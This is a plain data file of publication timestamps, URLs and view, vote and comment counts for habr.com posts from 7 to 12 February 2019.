2019-02-12T14:07:00.000,https://habr.com/ru/post/439994/,views:2300,votes:8,up:14,down:6,comments:6
2019-02-12T13:55:00.000,https://habr.com/ru/company/qrator/blog/439970/,views:5000,votes:37,up:39,down:2,comments:2
2019-02-12T13:48:00.000,https://habr.com/ru/company/otus/blog/439974/,views:2100,votes:10,up:15,down:5,comments:0
2019-02-12T13:39:00.000,https://habr.com/ru/company/iqb\_technologies/blog/439936/,views:4800,votes:14,up:16,down:2,comments:30
2019-02-12T13:30:00.000,https://habr.com/ru/company/ruvds/blog/439976/,views:15700,votes:52,up:60,down:8,comments:111
2019-02-12T13:29:00.000,https://habr.com/ru/post/439966/,views:3300,votes:6,up:15,down:9,comments:20
2019-02-12T13:14:00.000,https://habr.com/ru/post/439856/,views:64400,votes:142,up:179,down:37,comments:235
2019-02-12T13:09:00.000,https://habr.com/ru/company/trendmicro/blog/439986/,views:1900,votes:9,up:12,down:3,comments:2
2019-02-12T13:08:00.000,https://habr.com/ru/company/ashmanov\_net/blog/439950/,views:1300,votes:10,up:11,down:1,comments:2
2019-02-12T13:07:00.000,https://habr.com/ru/company/jugru/blog/439612/,views:8000,votes:41,up:43,down:2,comments:15
2019-02-12T13:03:00.000,https://habr.com/ru/company/e-Legion/blog/438696/,views:1300,votes:16,up:16,down:0,comments:1
2019-02-12T12:42:00.000,https://habr.com/ru/company/codefest/blog/439958/,views:1300,votes:34,up:36,down:2,comments:0
2019-02-12T12:40:00.000,https://habr.com/ru/company/regionsoft/blog/439854/,views:2900,votes:23,up:27,down:4,comments:1
2019-02-12T12:28:00.000,https://habr.com/ru/company/rostelecom/blog/439876/,views:659,votes:15,up:15,down:0,comments:0
2019-02-12T12:22:00.000,https://habr.com/ru/post/439860/,views:6400,votes:19,up:19,down:0,comments:41
2019-02-12T12:10:00.000,https://habr.com/ru/company/flant/blog/439964/,views:5800,votes:32,up:33,down:1,comments:8
2019-02-12T12:08:00.000,https://habr.com/ru/company/digitalrightscenter/blog/439910/,views:390,votes:11,up:11,down:0,comments:2
2019-02-12T12:03:00.000,https://habr.com/ru/post/438934/,views:1900,votes:13,up:14,down:1,comments:8
2019-02-12T12:00:00.000,https://habr.com/ru/company/microsoft/blog/439684/,views:537,votes:11,up:11,down:0,comments:1
2019-02-12T11:20:00.000,https://habr.com/ru/company/oleg-bunin/blog/439940/,views:1200,votes:20,up:20,down:0,comments:3
2019-02-12T11:15:00.000,https://habr.com/ru/post/439952/,views:3300,votes:18,up:21,down:3,comments:7
2019-02-12T11:10:00.000,https://habr.com/ru/post/438818/,views:778,votes:11,up:13,down:2,comments:7
2019-02-12T11:08:00.000,https://habr.com/ru/post/439602/,views:1800,votes:16,up:18,down:2,comments:4
2019-02-12T11:01:00.000,https://habr.com/ru/company/lanit/blog/439546/,views:8500,votes:77,up:77,down:0,comments:40
2019-02-12T10:59:00.000,https://habr.com/ru/post/439714/,views:20100,votes:46,up:55,down:9,comments:64
2019-02-12T10:53:00.000,https://habr.com/ru/company/psb/blog/439942/,views:4800,votes:14,up:15,down:1,comments:1
2019-02-12T10:39:00.000,https://habr.com/ru/post/439938/,views:888,votes:7,up:7,down:0,comments:2
2019-02-12T10:08:00.000,https://habr.com/ru/post/439934/,views:3100,votes:18,up:19,down:1,comments:2
2019-02-12T10:07:00.000,https://habr.com/ru/company/mailru/blog/439514/,views:2300,votes:55,up:55,down:0,comments:11
2019-02-12T10:05:00.000,https://habr.com/ru/company/roseltorg/blog/439932/,views:6800,votes:21,up:28,down:7,comments:21
2019-02-12T09:04:00.000,https://habr.com/ru/company/kolesa/blog/439488/,views:990,votes:12,up:12,down:0,comments:0
2019-02-12T09:03:00.000,https://habr.com/ru/post/439766/,views:99100,votes:353,up:354,down:1,comments:210
2019-02-12T08:40:00.000,https://habr.com/ru/post/439898/,views:5500,votes:11,up:14,down:3,comments:15
2019-02-12T08:00:00.000,https://habr.com/ru/company/sberbank/blog/439508/,views:819,votes:12,up:15,down:3,comments:7
2019-02-12T07:36:00.000,https://habr.com/ru/post/439928/,views:3900,votes:20,up:21,down:1,comments:22
2019-02-12T07:21:00.000,https://habr.com/ru/post/439874/,views:1000,votes:6,up:6,down:0,comments:0
2019-02-12T07:01:00.000,https://habr.com/ru/post/439890/,views:7600,votes:18,up:23,down:5,comments:22
2019-02-12T05:45:00.000,https://habr.com/ru/post/439926/,views:2100,votes:11,up:11,down:0,comments:7
2019-02-12T04:33:00.000,https://habr.com/ru/company/ua-hosting/blog/439708/,views:3100,votes:18,up:18,down:0,comments:2
2019-02-12T01:29:00.000,https://habr.com/ru/post/439924/,views:4700,votes:10,up:12,down:2,comments:17
2019-02-12T01:25:00.000,https://habr.com/ru/post/439922/,views:3700,votes:22,up:23,down:1,comments:61
2019-02-12T00:46:00.000,https://habr.com/ru/company/otus/blog/439916/,views:908,votes:11,up:11,down:0,comments:1
2019-02-12T00:04:00.000,https://habr.com/ru/post/439912/,views:11800,votes:25,up:25,down:0,comments:5
2019-02-11T23:17:00.000,https://habr.com/ru/post/439906/,views:5300,votes:28,up:28,down:0,comments:11
2019-02-11T23:15:00.000,https://habr.com/ru/post/439908/,views:6300,votes:14,up:20,down:34,comments:33
2019-02-11T22:52:00.000,https://habr.com/ru/post/439902/,views:4200,votes:18,up:5,down:23,comments:96
2019-02-11T22:09:00.000,https://habr.com/ru/post/439900/,views:1700,votes:14,up:14,down:0,comments:3
2019-02-11T21:10:00.000,https://habr.com/ru/post/439894/,views:5900,votes:18,up:24,down:6,comments:18
2019-02-11T19:43:00.000,https://habr.com/ru/post/439886/,views:2800,votes:22,up:22,down:0,comments:17
2019-02-11T19:14:00.000,https://habr.com/ru/company/kaspersky/blog/439880/,views:2800,votes:23,up:23,down:0,comments:2
2019-02-11T19:03:00.000,https://habr.com/ru/post/439878/,views:3700,votes:4,up:23,down:27,comments:34
2019-02-11T17:55:00.000,https://habr.com/ru/post/439868/,views:14700,votes:52,up:57,down:5,comments:80
2019-02-11T17:42:00.000,https://habr.com/ru/post/439866/,views:4100,votes:26,up:30,down:4,comments:6
2019-02-11T17:33:00.000,https://habr.com/ru/company/freelansim/blog/439154/,views:15600,votes:68,up:71,down:3,comments:32
2019-02-11T17:25:00.000,https://habr.com/ru/post/439862/,views:926,votes:14,up:16,down:2,comments:0
2019-02-11T16:41:00.000,https://habr.com/ru/post/439858/,views:4300,votes:22,up:23,down:1,comments:10
2019-02-11T15:43:00.000,https://habr.com/ru/post/439852/,views:8900,votes:49,up:49,down:0,comments:40
2019-02-11T15:42:00.000,https://habr.com/ru/post/439618/,views:8400,votes:22,up:35,down:13,comments:45
2019-02-11T15:07:00.000,https://habr.com/ru/company/sibur\_official/blog/439818/,views:6500,votes:27,up:30,down:3,comments:14
2019-02-11T14:15:00.000,https://habr.com/ru/company/it\_people/blog/439840/,views:855,votes:18,up:18,down:0,comments:0
2019-02-11T14:05:00.000,https://habr.com/ru/post/426665/,views:3000,votes:17,up:20,down:3,comments:1
2019-02-11T13:57:00.000,https://habr.com/ru/post/439610/,views:19700,votes:29,up:29,down:0,comments:136
2019-02-11T13:05:00.000,https://habr.com/ru/company/ruvds/blog/439824/,views:32700,votes:50,up:56,down:6,comments:171
2019-02-11T13:05:00.000,https://habr.com/ru/post/439000/,views:1500,votes:17,up:19,down:2,comments:0
2019-02-11T13:03:00.000,https://habr.com/ru/post/439822/,views:1800,votes:13,up:14,down:1,comments:1
2019-02-11T13:02:00.000,https://habr.com/ru/post/439644/,views:7000,votes:28,up:31,down:3,comments:16
2019-02-11T12:58:00.000,https://habr.com/ru/company/jugru/blog/439796/,views:6600,votes:33,up:35,down:2,comments:16
2019-02-11T12:56:00.000,https://habr.com/ru/company/wifire/blog/439826/,views:19700,votes:16,up:26,down:10,comments:279
2019-02-11T12:50:00.000,https://habr.com/ru/post/439590/,views:648,votes:11,up:12,down:1,comments:0
2019-02-11T12:47:00.000,https://habr.com/ru/post/439820/,views:2600,votes:5,up:13,down:18,comments:8
2019-02-11T12:38:00.000,https://habr.com/ru/post/439806/,views:6200,votes:24,up:27,down:3,comments:12
2019-02-11T12:32:00.000,https://habr.com/ru/company/oleg-bunin/blog/437586/,views:2800,votes:27,up:28,down:1,comments:1
2019-02-11T12:31:00.000,https://habr.com/ru/post/439564/,views:1200,votes:11,up:12,down:1,comments:5
2019-02-11T12:05:00.000,https://habr.com/ru/company/ua-hosting/blog/439808/,views:5400,votes:46,up:46,down:0,comments:12
2019-02-11T11:58:00.000,https://habr.com/ru/post/439774/,views:1300,votes:10,up:10,down:0,comments:4
2019-02-11T11:33:00.000,https://habr.com/ru/post/439810/,views:5500,votes:26,up:26,down:0,comments:6
2019-02-11T11:27:00.000,https://habr.com/ru/company/veeam/blog/438714/,views:2000,votes:18,up:18,down:0,comments:29
2019-02-11T10:36:00.000,https://habr.com/ru/post/439794/,views:40700,votes:58,up:60,down:2,comments:210
2019-02-11T10:22:00.000,https://habr.com/ru/post/439724/,views:3800,votes:17,up:18,down:1,comments:0
2019-02-11T10:22:00.000,https://habr.com/ru/post/439688/,views:3300,votes:14,up:15,down:1,comments:0
2019-02-11T10:07:00.000,https://habr.com/ru/post/439792/,views:5200,votes:30,up:31,down:1,comments:76
2019-02-11T10:04:00.000,https://habr.com/ru/post/439790/,views:1400,votes:11,up:14,down:3,comments:3
2019-02-11T10:02:00.000,https://habr.com/ru/company/virgilsecurity/blog/439788/,views:42900,votes:141,up:150,down:9,comments:225
2019-02-11T09:24:00.000,https://habr.com/ru/post/438856/,views:4200,votes:16,up:16,down:0,comments:9
2019-02-11T09:15:00.000,https://habr.com/ru/post/438622/,views:10600,votes:66,up:66,down:0,comments:40
2019-02-11T09:04:00.000,https://habr.com/ru/company/alfa/blog/439482/,views:6100,votes:25,up:28,down:3,comments:18
2019-02-11T08:46:00.000,https://habr.com/ru/company/haulmont/blog/439726/,views:2600,votes:11,up:13,down:2,comments:35
2019-02-11T07:28:00.000,https://habr.com/ru/post/439524/,views:37600,votes:37,up:49,down:12,comments:170
2019-02-11T07:25:00.000,https://habr.com/ru/post/439784/,views:55900,votes:120,up:126,down:6,comments:190
2019-02-11T07:01:00.000,https://habr.com/ru/post/439758/,views:12200,votes:81,up:81,down:0,comments:15
2019-02-11T04:26:00.000,https://habr.com/ru/post/439732/,views:2100,votes:20,up:21,down:1,comments:0
2019-02-11T04:19:00.000,https://habr.com/ru/post/439782/,views:4400,votes:8,up:11,down:3,comments:15
2019-02-11T03:35:00.000,https://habr.com/ru/post/439690/,views:12700,votes:31,up:33,down:2,comments:70
2019-02-11T02:41:00.000,https://habr.com/ru/post/439780/,views:11200,votes:56,up:57,down:1,comments:17
2019-02-11T01:46:00.000,https://habr.com/ru/post/439592/,views:11400,votes:35,up:40,down:5,comments:66
2019-02-11T00:48:00.000,https://habr.com/ru/post/439778/,views:9900,votes:28,up:29,down:1,comments:0
2019-02-10T23:47:00.000,https://habr.com/ru/post/439772/,views:898,votes:8,up:9,down:1,comments:0
2019-02-10T22:38:00.000,https://habr.com/ru/post/439764/,views:41300,votes:86,up:115,down:29,comments:144
2019-02-10T21:18:00.000,https://habr.com/ru/company/vasexperts/blog/439760/,views:15400,votes:19,up:21,down:2,comments:25
2019-02-10T20:53:00.000,https://habr.com/ru/post/439756/,views:7700,votes:29,up:32,down:3,comments:28
2019-02-10T20:42:00.000,https://habr.com/ru/company/madrobots/blog/439754/,views:8700,votes:32,up:32,down:0,comments:28
2019-02-10T20:38:00.000,https://habr.com/ru/post/439734/,views:5600,votes:20,up:21,down:1,comments:11
2019-02-10T20:29:00.000,https://habr.com/ru/company/audiomania/blog/439640/,views:9900,votes:18,up:26,down:8,comments:22
2019-02-10T20:12:00.000,https://habr.com/ru/post/439752/,views:11100,votes:56,up:56,down:0,comments:27
2019-02-10T20:05:00.000,https://habr.com/ru/post/439720/,views:21300,votes:80,up:82,down:2,comments:29
2019-02-10T20:04:00.000,https://habr.com/ru/post/439698/,views:24500,votes:74,up:74,down:0,comments:44
2019-02-10T20:03:00.000,https://habr.com/ru/post/439694/,views:5300,votes:21,up:21,down:0,comments:4
2019-02-10T19:53:00.000,https://habr.com/ru/post/439750/,views:861,votes:8,up:3,down:11,comments:0
2019-02-10T19:44:00.000,https://habr.com/ru/company/everydaytools/blog/439748/,views:4200,votes:17,up:17,down:0,comments:1
2019-02-10T19:40:00.000,https://habr.com/ru/post/439746/,views:4200,votes:9,up:13,down:4,comments:13
2019-02-10T19:03:00.000,https://habr.com/ru/post/439096/,views:3200,votes:20,up:21,down:1,comments:22
2019-02-10T19:00:00.000,https://habr.com/ru/company/ua-hosting/blog/439706/,views:7600,votes:25,up:26,down:1,comments:7
2019-02-10T18:53:00.000,https://habr.com/ru/post/439736/,views:4100,votes:15,up:15,down:0,comments:11
2019-02-10T16:13:00.000,https://habr.com/ru/post/439730/,views:2000,votes:6,up:17,down:11,comments:15
2019-02-10T16:12:00.000,https://habr.com/ru/post/439728/,views:1200,votes:11,up:12,down:1,comments:4
2019-02-10T14:00:00.000,https://habr.com/ru/post/439722/,views:2700,votes:18,up:18,down:0,comments:4
2019-02-10T13:57:00.000,https://habr.com/ru/post/438852/,views:7200,votes:20,up:21,down:1,comments:26
2019-02-10T12:49:00.000,https://habr.com/ru/post/439718/,views:2200,votes:9,up:13,down:4,comments:1
2019-02-10T12:29:00.000,https://habr.com/ru/post/439716/,views:9000,votes:4,up:16,down:12,comments:26
2019-02-10T11:56:00.000,https://habr.com/ru/post/439712/,views:36300,votes:116,up:120,down:4,comments:302
2019-02-10T11:48:00.000,https://habr.com/ru/post/439710/,views:4900,votes:16,up:17,down:1,comments:2
2019-02-10T11:23:00.000,https://habr.com/ru/company/yandex/blog/439704/,views:7700,votes:29,up:32,down:3,comments:8
2019-02-10T11:20:00.000,https://habr.com/ru/post/439692/,views:27500,votes:62,up:63,down:1,comments:31
2019-02-10T11:02:00.000,https://habr.com/ru/post/439700/,views:8100,votes:28,up:33,down:5,comments:17
2019-02-10T11:01:00.000,https://habr.com/ru/post/439442/,views:5300,votes:20,up:20,down:0,comments:2
2019-02-10T10:58:00.000,https://habr.com/ru/post/439696/,views:5000,votes:6,up:18,down:12,comments:5
2019-02-09T23:29:00.000,https://habr.com/ru/post/439686/,views:5300,votes:10,up:13,down:3,comments:22
2019-02-09T22:59:00.000,https://habr.com/ru/company/ua-hosting/blog/439682/,views:5700,votes:20,up:21,down:1,comments:11
2019-02-09T22:40:00.000,https://habr.com/ru/post/439680/,views:5500,votes:14,up:16,down:2,comments:20
2019-02-09T21:41:00.000,https://habr.com/ru/post/439676/,views:2800,votes:18,up:21,down:3,comments:2
2019-02-09T19:27:00.000,https://habr.com/ru/post/439666/,views:3800,votes:13,up:19,down:6,comments:11
2019-02-09T19:19:00.000,https://habr.com/ru/company/bitfury/blog/439654/,views:7700,votes:29,up:30,down:1,comments:33
2019-02-09T17:54:00.000,https://habr.com/ru/post/439656/,views:9600,votes:23,up:24,down:1,comments:12
2019-02-09T17:33:00.000,https://habr.com/ru/post/439648/,views:4500,votes:11,up:17,down:6,comments:7
2019-02-09T17:29:00.000,https://habr.com/ru/post/439652/,views:6900,votes:24,up:31,down:7,comments:28
2019-02-09T17:05:00.000,https://habr.com/ru/company/iticapital/blog/439646/,views:8500,votes:27,up:33,down:6,comments:21
2019-02-09T16:10:00.000,https://habr.com/ru/post/439642/,views:6500,votes:7,up:23,down:16,comments:23
2019-02-09T15:33:00.000,https://habr.com/ru/post/439638/,views:14600,votes:41,up:43,down:2,comments:53
2019-02-09T15:09:00.000,https://habr.com/ru/post/439636/,views:5100,votes:32,up:11,down:43,comments:264
2019-02-09T14:52:00.000,https://habr.com/ru/post/439628/,views:2100,votes:6,up:13,down:7,comments:13
2019-02-09T14:37:00.000,https://habr.com/ru/post/439616/,views:6700,votes:17,up:20,down:3,comments:10
2019-02-09T14:37:00.000,https://habr.com/ru/company/skillbox/blog/439632/,views:11800,votes:21,up:28,down:7,comments:8
2019-02-09T13:55:00.000,https://habr.com/ru/post/439626/,views:10500,votes:75,up:77,down:2,comments:27
2019-02-09T13:50:00.000,https://habr.com/ru/company/1cloud/blog/439624/,views:8100,votes:20,up:22,down:2,comments:38
2019-02-09T13:15:00.000,https://habr.com/ru/post/439620/,views:7200,votes:18,up:21,down:3,comments:11
2019-02-09T12:00:00.000,https://habr.com/ru/post/439542/,views:36000,votes:65,up:68,down:3,comments:198
2019-02-09T10:30:00.000,https://habr.com/ru/post/438046/,views:2600,votes:17,up:17,down:0,comments:23
2019-02-09T09:18:00.000,https://habr.com/ru/company/southbridge/blog/439562/,views:5600,votes:23,up:27,down:4,comments:4
2019-02-09T04:09:00.000,https://habr.com/ru/post/439608/,views:5900,votes:6,up:27,down:21,comments:15
2019-02-09T03:59:00.000,https://habr.com/ru/post/438828/,views:4500,votes:30,up:35,down:5,comments:34
2019-02-09T03:33:00.000,https://habr.com/ru/post/439600/,views:61100,votes:66,up:68,down:2,comments:983
2019-02-09T01:58:00.000,https://habr.com/ru/post/439606/,views:32500,votes:161,up:164,down:3,comments:370
2019-02-09T01:20:00.000,https://habr.com/ru/post/438916/,views:21100,votes:66,up:67,down:1,comments:137
2019-02-09T01:18:00.000,https://habr.com/ru/post/439604/,views:32000,votes:67,up:71,down:4,comments:20
2019-02-08T23:59:00.000,https://habr.com/ru/post/439598/,views:18400,votes:21,up:24,down:3,comments:60
2019-02-08T23:44:00.000,https://habr.com/ru/post/439596/,views:5600,votes:25,up:31,down:6,comments:23
2019-02-08T23:15:00.000,https://habr.com/ru/post/439454/,views:1900,votes:11,up:12,down:1,comments:0
2019-02-08T21:29:00.000,https://habr.com/ru/company/extremenetworks/blog/439586/,views:806,votes:16,up:16,down:0,comments:4
2019-02-08T20:20:00.000,https://habr.com/ru/company/eset/blog/439588/,views:2400,votes:12,up:12,down:0,comments:0
2019-02-08T20:05:00.000,https://habr.com/ru/post/439584/,views:12800,votes:74,up:77,down:3,comments:72
2019-02-08T18:51:00.000,https://habr.com/ru/post/439578/,views:1800,votes:17,up:19,down:2,comments:6
2019-02-08T18:43:00.000,https://habr.com/ru/post/439576/,views:26400,votes:69,up:70,down:1,comments:50
2019-02-08T18:01:00.000,https://habr.com/ru/company/binarydistrict/blog/439316/,views:5500,votes:9,up:17,down:8,comments:6
2019-02-08T17:52:00.000,https://habr.com/ru/company/kingston\_technology/blog/439568/,views:27600,votes:42,up:43,down:1,comments:117
2019-02-08T17:52:00.000,https://habr.com/ru/post/439572/,views:3200,votes:6,up:26,down:20,comments:20
2019-02-08T17:30:00.000,https://habr.com/ru/company/otus/blog/439566/,views:1200,votes:13,up:15,down:2,comments:0
2019-02-08T17:16:00.000,https://habr.com/ru/company/intersystems/blog/439560/,views:904,votes:18,up:18,down:0,comments:1
2019-02-08T16:56:00.000,https://habr.com/ru/post/439558/,views:4600,votes:17,up:17,down:0,comments:24
2019-02-08T16:55:00.000,https://habr.com/ru/company/mcad/blog/439556/,views:1400,votes:16,up:18,down:2,comments:2
2019-02-08T16:33:00.000,https://habr.com/ru/company/veeam/blog/439478/,views:13400,votes:22,up:30,down:8,comments:46
2019-02-08T16:23:00.000,https://habr.com/ru/post/439544/,views:3200,votes:19,up:22,down:3,comments:9
2019-02-08T16:21:00.000,https://habr.com/ru/post/439538/,views:2800,votes:15,up:17,down:2,comments:6
2019-02-08T16:02:00.000,https://habr.com/ru/post/439540/,views:7500,votes:30,up:34,down:4,comments:56
2019-02-08T15:37:00.000,https://habr.com/ru/company/innopolis\_university/blog/439534/,views:1200,votes:12,up:14,down:2,comments:0
2019-02-08T15:31:00.000,https://habr.com/ru/post/439532/,views:5300,votes:11,up:25,down:14,comments:1
2019-02-08T15:06:00.000,https://habr.com/ru/company/iqb\_technologies/blog/439464/,views:1600,votes:12,up:12,down:0,comments:4
2019-02-08T15:00:00.000,https://habr.com/ru/company/ru\_mts/blog/439498/,views:2800,votes:9,up:13,down:4,comments:2
2019-02-08T14:54:00.000,https://habr.com/ru/post/439526/,views:5700,votes:12,up:14,down:2,comments:16
2019-02-08T14:35:00.000,https://habr.com/ru/post/439218/,views:4100,votes:10,up:13,down:3,comments:6
2019-02-08T13:47:00.000,https://habr.com/ru/company/skyeng/blog/439504/,views:3400,votes:11,up:14,down:3,comments:10
2019-02-08T13:37:00.000,https://habr.com/ru/company/epam\_systems/blog/439320/,views:2200,votes:12,up:12,down:0,comments:1
2019-02-08T13:32:00.000,https://habr.com/ru/company/madrobots/blog/439516/,views:9900,votes:14,up:32,down:18,comments:7
2019-02-08T13:29:00.000,https://habr.com/ru/post/439512/,views:2400,votes:9,up:11,down:2,comments:5
2019-02-08T12:51:00.000,https://habr.com/ru/company/oleg-bunin/blog/439510/,views:10600,votes:52,up:53,down:1,comments:39
2019-02-08T12:50:00.000,https://habr.com/ru/post/439450/,views:15200,votes:48,up:50,down:2,comments:61
2019-02-08T12:41:00.000,https://habr.com/ru/post/439506/,views:4000,votes:12,up:15,down:3,comments:0
2019-02-08T12:23:00.000,https://habr.com/ru/company/pvs-studio/blog/439502/,views:12200,votes:84,up:87,down:3,comments:60
2019-02-08T12:14:00.000,https://habr.com/ru/post/439500/,views:22800,votes:30,up:35,down:5,comments:151
2019-02-08T12:00:00.000,https://habr.com/ru/company/ua-hosting/blog/439308/,views:9100,votes:18,up:21,down:3,comments:21
2019-02-08T12:00:00.000,https://habr.com/ru/company/ruvds/blog/438988/,views:3400,votes:19,up:20,down:1,comments:2
2019-02-08T11:58:00.000,https://habr.com/ru/post/439496/,views:1800,votes:12,up:12,down:0,comments:0
2019-02-08T11:55:00.000,https://habr.com/ru/company/jetinfosystems/blog/439480/,views:3300,votes:15,up:22,down:7,comments:3
2019-02-08T11:30:00.000,https://habr.com/ru/post/439224/,views:5200,votes:31,up:31,down:0,comments:3
2019-02-08T11:28:00.000,https://habr.com/ru/company/odnoklassniki/blog/439394/,views:4900,votes:15,up:20,down:5,comments:4
2019-02-08T11:22:00.000,https://habr.com/ru/company/edison/blog/439298/,views:14600,votes:31,up:33,down:2,comments:31
2019-02-08T11:04:00.000,https://habr.com/ru/post/439484/,views:1800,votes:17,up:18,down:1,comments:24
2019-02-08T10:43:00.000,https://habr.com/ru/company/englishdom/blog/439476/,views:8300,votes:32,up:34,down:2,comments:19
2019-02-08T10:41:00.000,https://habr.com/ru/post/439470/,views:7400,votes:34,up:36,down:2,comments:67
2019-02-08T10:26:00.000,https://habr.com/ru/post/439472/,views:3100,votes:8,up:12,down:4,comments:4
2019-02-08T10:25:00.000,https://habr.com/ru/company/mailru/blog/439342/,views:2700,votes:47,up:50,down:3,comments:7
2019-02-08T10:23:00.000,https://habr.com/ru/post/439468/,views:3900,votes:14,up:14,down:0,comments:43
2019-02-08T10:01:00.000,https://habr.com/ru/company/roseltorg/blog/439404/,views:6700,votes:34,up:36,down:2,comments:11
2019-02-08T09:43:00.000,https://habr.com/ru/post/439466/,views:8400,votes:34,up:35,down:1,comments:11
2019-02-08T09:31:00.000,https://habr.com/ru/company/yamoney/blog/439186/,views:17900,votes:41,up:49,down:8,comments:63
2019-02-08T09:24:00.000,https://habr.com/ru/post/439462/,views:24900,votes:196,up:197,down:1,comments:209
2019-02-08T09:13:00.000,https://habr.com/ru/post/439346/,views:3900,votes:0,up:9,down:9,comments:8
2019-02-08T09:08:00.000,https://habr.com/ru/post/439436/,views:22900,votes:66,up:78,down:12,comments:143
2019-02-08T08:49:00.000,https://habr.com/ru/post/439460/,views:8900,votes:22,up:28,down:6,comments:18
2019-02-08T08:18:00.000,https://habr.com/ru/company/itsumma/blog/439458/,views:8400,votes:52,up:56,down:4,comments:52
2019-02-08T07:14:00.000,https://habr.com/ru/post/439456/,views:2200,votes:13,up:15,down:2,comments:10
2019-02-08T05:18:00.000,https://habr.com/ru/post/436738/,views:1700,votes:14,up:14,down:0,comments:2
2019-02-08T01:55:00.000,https://habr.com/ru/post/439278/,views:18100,votes:47,up:47,down:0,comments:78
2019-02-08T01:05:00.000,https://habr.com/ru/post/439446/,views:3200,votes:9,up:10,down:1,comments:1
2019-02-08T00:58:00.000,https://habr.com/ru/post/439432/,views:84200,votes:113,up:120,down:7,comments:210
2019-02-08T00:58:00.000,https://habr.com/ru/post/439448/,views:3200,votes:5,up:11,down:6,comments:4
2019-02-08T00:28:00.000,https://habr.com/ru/post/438196/,views:2000,votes:20,up:21,down:1,comments:3
2019-02-07T23:41:00.000,https://habr.com/ru/post/439440/,views:1700,votes:17,up:17,down:0,comments:4
2019-02-07T23:13:00.000,https://habr.com/ru/post/439434/,views:7700,votes:20,up:20,down:0,comments:21
2019-02-07T22:09:00.000,https://habr.com/ru/post/439082/,views:9100,votes:25,up:26,down:1,comments:21
2019-02-07T22:03:00.000,https://habr.com/ru/post/439430/,views:28300,votes:29,up:34,down:5,comments:144
2019-02-07T21:51:00.000,https://habr.com/ru/company/ozontech/blog/436342/,views:1800,votes:20,up:20,down:0,comments:0
2019-02-07T21:30:00.000,https://habr.com/ru/post/439424/,views:6200,votes:4,up:11,down:7,comments:27
2019-02-07T21:11:00.000,https://habr.com/ru/company/1cloud/blog/439426/,views:4900,votes:11,up:12,down:1,comments:7
2019-02-07T20:42:00.000,https://habr.com/ru/post/439422/,views:6800,votes:11,up:26,down:15,comments:24
2019-02-07T20:03:00.000,https://habr.com/ru/post/439420/,views:722,votes:14,up:18,down:4,comments:3
2019-02-07T20:02:00.000,https://habr.com/ru/post/439410/,views:20200,votes:31,up:42,down:11,comments:61
2019-02-07T19:49:00.000,https://habr.com/ru/post/439418/,views:1600,votes:7,up:10,down:3,comments:0
2019-02-07T19:41:00.000,https://habr.com/ru/post/439416/,views:2400,votes:16,up:16,down:0,comments:1
2019-02-07T19:22:00.000,https://habr.com/ru/post/439414/,views:1600,votes:3,up:7,down:4,comments:3
2019-02-07T18:44:00.000,https://habr.com/ru/post/439408/,views:1300,votes:13,up:13,down:0,comments:0
2019-02-07T18:17:00.000,https://habr.com/ru/company/hsespb/blog/439362/,views:4800,votes:20,up:21,down:1,comments:2
2019-02-07T18:13:00.000,https://habr.com/ru/post/439332/,views:1200,votes:10,up:10,down:0,comments:4
2019-02-07T18:01:00.000,https://habr.com/ru/company/badoo/blog/439368/,views:4300,votes:40,up:42,down:2,comments:2
2019-02-07T17:53:00.000,https://habr.com/ru/company/otus/blog/439390/,views:3300,votes:4,up:10,down:6,comments:0
2019-02-07T17:44:00.000,https://habr.com/ru/company/mailru/blog/439392/,views:3100,votes:28,up:33,down:5,comments:2
2019-02-07T17:41:00.000,https://habr.com/ru/post/439396/,views:2700,votes:10,up:10,down:0,comments:5
2019-02-07T16:35:00.000,https://habr.com/ru/post/439382/,views:2900,votes:15,up:16,down:1,comments:2
2019-02-07T16:26:00.000,https://habr.com/ru/company/skillbox/blog/439380/,views:3100,votes:7,up:14,down:7,comments:2
2019-02-07T16:18:00.000,https://habr.com/ru/post/439378/,views:4400,votes:14,up:18,down:4,comments:125
2019-02-07T16:10:00.000,https://habr.com/ru/post/439198/,views:9100,votes:46,up:46,down:0,comments:12
2019-02-07T15:54:00.000,https://habr.com/ru/company/mcad/blog/439376/,views:811,votes:13,up:15,down:2,comments:0
2019-02-07T15:41:00.000,https://habr.com/ru/company/pvs-studio/blog/439374/,views:19800,votes:52,up:72,down:20,comments:135
2019-02-07T15:12:00.000,https://habr.com/ru/post/439366/,views:7000,votes:28,up:38,down:10,comments:32
2019-02-07T15:09:00.000,https://habr.com/ru/company/binarydistrict/blog/439352/,views:4000,votes:10,up:11,down:1,comments:8
2019-02-07T15:02:00.000,https://habr.com/ru/company/klinika\_shilovoy/blog/439348/,views:17900,votes:35,up:36,down:1,comments:48
2019-02-07T14:47:00.000,https://habr.com/ru/company/maxilect/blog/439356/,views:1400,votes:10,up:10,down:0,comments:0
2019-02-07T14:45:00.000,https://habr.com/ru/post/439022/,views:10100,votes:31,up:31,down:0,comments:32
2019-02-07T14:33:00.000,https://habr.com/ru/post/439364/,views:14800,votes:23,up:24,down:1,comments:24
2019-02-07T14:20:00.000,https://habr.com/ru/company/ua-hosting/blog/439360/,views:6100,votes:19,up:19,down:0,comments:4
2019-02-07T14:11:00.000,https://habr.com/ru/post/439358/,views:4200,votes:12,up:14,down:2,comments:6
2019-02-07T14:10:00.000,https://habr.com/ru/post/438178/,views:2400,votes:14,up:14,down:0,comments:0
2019-02-07T14:05:00.000,https://habr.com/ru/company/it-grad/blog/439340/,views:1300,votes:12,up:13,down:1,comments:1
2019-02-07T14:00:00.000,https://habr.com/ru/company/ruvds/blog/438984/,views:7000,votes:25,up:27,down:2,comments:4
2019-02-07T13:54:00.000,https://habr.com/ru/post/439354/,views:10700,votes:52,up:53,down:1,comments:12
2019-02-07T13:49:00.000,https://habr.com/ru/company/solarsecurity/blog/438798/,views:4800,votes:26,up:27,down:1,comments:9
2019-02-07T13:42:00.000,https://habr.com/ru/post/438992/,views:14500,votes:23,up:26,down:3,comments:23
2019-02-07T13:40:00.000,https://habr.com/ru/company/avito/blog/438740/,views:4300,votes:30,up:30,down:0,comments:5
2019-02-07T13:33:00.000,https://habr.com/ru/post/426361/,views:63900,votes:285,up:292,down:7,comments:300
2019-02-07T13:32:00.000,https://habr.com/ru/post/439350/,views:2600,votes:6,up:10,down:4,comments:28
2019-02-07T13:21:00.000,https://habr.com/ru/post/439344/,views:2000,votes:11,up:12,down:1,comments:5
2019-02-07T13:03:00.000,https://habr.com/ru/post/439338/,views:10100,votes:37,up:39,down:2,comments:9
2019-02-07T13:02:00.000,https://habr.com/ru/post/439262/,views:6200,votes:8,up:11,down:3,comments:15
2019-02-07T13:02:00.000,https://habr.com/ru/post/439336/,views:3300,votes:7,up:11,down:4,comments:16
